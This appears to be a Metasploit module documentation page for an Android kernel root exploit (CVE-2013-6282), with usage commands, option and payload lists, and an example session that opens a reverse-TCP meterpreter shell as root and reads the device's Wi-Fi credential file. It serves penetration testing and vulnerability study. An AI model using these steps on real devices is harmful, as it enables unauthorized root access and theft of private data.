Android get_user/put_user Exploit - Metasploit


This page contains detailed information about how to use the exploit/android/local/put_user_vroot metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Android get_user/put_user Exploit
Module: exploit/android/local/put_user_vroot
Source code: modules/exploits/android/local/put_user_vroot.rb
Disclosure date: 2013-09-06
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): Android, Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2013-6282

This module exploits a missing check in the get_user and put_user API functions in the linux kernel before 3.5.5. The missing checks on these functions allow an unprivileged user to read and write kernel memory. This exploit first reads the kernel memory to identify the commit_creds and ptmx_fops address, then uses the write primitive to execute shellcode as uid 0. The exploit was first discovered in the wild in the vroot rooting application.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/android/local/put_user_vroot
msf exploit(put_user_vroot) > show targets
    ... a list of targets ...
msf exploit(put_user_vroot) > set TARGET target-id
msf exploit(put_user_vroot) > show options
    ... show and set options ...
msf exploit(put_user_vroot) > set SESSION session-id
msf exploit(put_user_vroot) > exploit

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Introduction

This modules exploits a vulnerability in the linux kernel on an Android device, which allows an untrusted app to elevate to root priviledges. On Android an application normally runs as an individual linux user, sandboxing it from the Android system and other applications. After running the exploit the resulting session has full priviledge on the device, and can access the entire filesystem and the private data files of every other app, including system apps.

The exploit uses a read kernel memory primitive to first figure out the correct offsets for the device, before using the write primitive to overwrite the ptmx.fsync handler to a function that will elevate the current process to root. Finally /dev/ptmx is opened, and fsync called to trigger the exploit.

This exploit should work on any vulnerable device and is not device specific. In the example below a Samsung Galaxy S4 running Android version 4.3 was targetted.

Usage

You'll first need to obtain a session on the target device. Once the module is loaded, one simply needs to set the SESSION option and configure the handler. The exploit can take a while to run on the device so it is configured with WfsDelay option to wait 120 seconds for a session. If you have not had a session after this time you can assume the device is not vulnerable.

An example session follows:

msf exploit(handler) > sessions 

Active sessions
===============

  Id  Type                        Information          Connection
  --  ----                        -----------          ----------
  1   meterpreter dalvik/android  u0_a132 @ localhost  192.168.1.52:4444 -> 192.168.1.54:33549 (192.168.1.54)


msf exploit(handler) > use exploit/android/local/put_user_vroot

msf exploit(put_user_vroot) > set LHOST 192.168.1.52
LHOST => 192.168.1.52

msf exploit(put_user_vroot) > set LPORT 5555
LPORT => 5555

msf exploit(put_user_vroot) > set SESSION 1
SESSION => 1

msf exploit(put_user_vroot) > run

[*] Started reverse TCP handler on 192.168.1.52:5555 
[*] Loading exploit library /data/data/com.metasploit.stage/files/bwycy
[*] Loaded library /data/data/com.metasploit.stage/files/bwycy, deleting
[*] Waiting 120 seconds for payload
[*] Sending stage (388156 bytes) to 192.168.1.54
[*] Meterpreter session 2 opened (192.168.1.52:5555 -> 192.168.1.54:59580) at 2016-12-24 00:19:12 +0800


meterpreter > getuid 
Server username: uid=0, gid=0, euid=0, egid=0

meterpreter > cat /data/misc/wifi/wpa_supplicant.conf
ctrl_interface=wlan0
...

Go back to menu.

Msfconsole Usage

Here is how the android/local/put_user_vroot exploit module looks in the msfconsole:

msf6 > use exploit/android/local/put_user_vroot

[*] Using configured payload linux/armle/meterpreter/reverse_tcp
msf6 exploit(android/local/put_user_vroot) > show info

       Name: Android get_user/put_user Exploit
     Module: exploit/android/local/put_user_vroot
   Platform: Android, Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-09-06

Provided by:
  fi01
  cubeundcube
  timwr

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:
  Space: 2048

Description:
  This module exploits a missing check in the get_user and put_user 
  API functions in the linux kernel before 3.5.5. The missing checks 
  on these functions allow an unprivileged user to read and write 
  kernel memory. This exploit first reads the kernel memory to 
  identify the commit_creds and ptmx_fops address, then uses the write 
  primitive to execute shellcode as uid 0. The exploit was first 
  discovered in the wild in the vroot rooting application.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-6282
  http://forum.xda-developers.com/showthread.php?t=2434453
  https://github.com/fi01/libget_user_exploit
  http://forum.xda-developers.com/showthread.php?t=2565758

Module Options

This is a complete list of options available in the android/local/put_user_vroot exploit:

msf6 exploit(android/local/put_user_vroot) > show options

Module options (exploit/android/local/put_user_vroot):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (linux/armle/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the android/local/put_user_vroot exploit:

msf6 exploit(android/local/put_user_vroot) > show advanced

Module advanced options (exploit/android/local/put_user_vroot):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                120              no        Additional delay in seconds to wait for a session

Payload advanced options (linux/armle/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the android/local/put_user_vroot module can exploit:

msf6 exploit(android/local/put_user_vroot) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the android/local/put_user_vroot exploit:

msf6 exploit(android/local/put_user_vroot) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   payload/linux/x86/chmod                                            normal  No     Linux Chmod
   6   payload/linux/x86/exec                                             normal  No     Linux Execute Command
   7   payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   8   payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   9   payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   10  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   11  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   12  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   13  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   14  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   15  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   16  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   17  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   18  payload/linux/x86/read_file                                        normal  No     Linux Read File
   19  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   20  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   21  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   22  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   23  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   24  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   25  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   26  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   27  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   28  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   29  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   30  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   31  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   32  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options

Here is the full list of possible evasion options supported by the android/local/put_user_vroot exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(android/local/put_user_vroot) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • fi01
  • cubeundcube
  • timwr

Version

This page has been produced using Metasploit Framework version 6.2.7-dev. For more modules, visit the Metasploit Module Library.

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